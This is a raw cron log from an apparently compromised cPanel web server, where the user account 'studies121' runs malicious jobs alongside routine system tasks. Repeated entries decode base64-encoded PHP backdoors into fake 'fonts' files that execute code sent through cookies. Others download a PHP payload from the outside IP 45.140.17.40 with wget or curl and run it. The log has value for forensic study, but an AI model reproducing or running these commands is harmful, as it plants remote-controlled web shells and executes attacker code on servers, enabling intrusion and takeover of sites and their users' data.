Sep 12 15:11:01 ip-184-168-122-23 CROND[15161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:11:01 ip-184-168-122-23 CROND[15162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:11:01 ip-184-168-122-23 CROND[15164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:11:01 ip-184-168-122-23 CROND[15165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:12:01 ip-184-168-122-23 CROND[15253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:12:01 ip-184-168-122-23 CROND[15254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:12:01 ip-184-168-122-23 CROND[15257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:12:01 ip-184-168-122-23 CROND[15259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:12:01 ip-184-168-122-23 CROND[15258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:13:01 ip-184-168-122-23 CROND[15448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:13:01 ip-184-168-122-23 CROND[15449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:13:01 ip-184-168-122-23 CROND[15450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:13:01 ip-184-168-122-23 CROND[15451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:14:01 ip-184-168-122-23 CROND[15536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:14:01 ip-184-168-122-23 CROND[15538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:14:01 ip-184-168-122-23 CROND[15539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:14:01 ip-184-168-122-23 CROND[15540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:14:01 ip-184-168-122-23 CROND[15542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:15:01 ip-184-168-122-23 CROND[15660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:15:01 ip-184-168-122-23 CROND[15662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:15:01 ip-184-168-122-23 CROND[15664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:15:01 ip-184-168-122-23 CROND[15663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:15:01 ip-184-168-122-23 CROND[15665]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:15:01 ip-184-168-122-23 CROND[15666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:16:01 ip-184-168-122-23 CROND[15769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:16:01 ip-184-168-122-23 CROND[15771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:16:01 ip-184-168-122-23 CROND[15772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:16:01 ip-184-168-122-23 CROND[15775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:16:01 ip-184-168-122-23 CROND[15773]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:16:01 ip-184-168-122-23 CROND[15774]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 15:17:01 ip-184-168-122-23 CROND[15881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:17:01 ip-184-168-122-23 CROND[15882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:17:01 ip-184-168-122-23 CROND[15884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:17:01 ip-184-168-122-23 CROND[15885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:18:02 ip-184-168-122-23 CROND[16063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:18:02 ip-184-168-122-23 CROND[16065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:18:02 ip-184-168-122-23 CROND[16066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:18:02 ip-184-168-122-23 CROND[16068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:18:02 ip-184-168-122-23 CROND[16069]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:19:01 ip-184-168-122-23 CROND[16149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:19:01 ip-184-168-122-23 CROND[16150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:19:01 ip-184-168-122-23 CROND[16151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:19:01 ip-184-168-122-23 CROND[16152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:20:01 ip-184-168-122-23 CROND[16246]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 15:20:01 ip-184-168-122-23 CROND[16247]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 15:20:01 ip-184-168-122-23 CROND[16251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:20:01 ip-184-168-122-23 CROND[16252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:20:01 ip-184-168-122-23 CROND[16257]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:20:01 ip-184-168-122-23 CROND[16254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:20:01 ip-184-168-122-23 CROND[16255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:20:01 ip-184-168-122-23 CROND[16253]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:20:01 ip-184-168-122-23 CROND[16256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:21:01 ip-184-168-122-23 CROND[16379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:21:01 ip-184-168-122-23 CROND[16380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:21:01 ip-184-168-122-23 CROND[16382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:21:01 ip-184-168-122-23 CROND[16383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:22:02 ip-184-168-122-23 CROND[16469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:22:02 ip-184-168-122-23 CROND[16471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:22:02 ip-184-168-122-23 CROND[16472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:22:02 ip-184-168-122-23 CROND[16474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:22:02 ip-184-168-122-23 CROND[16473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:23:01 ip-184-168-122-23 CROND[16634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:23:01 ip-184-168-122-23 CROND[16635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
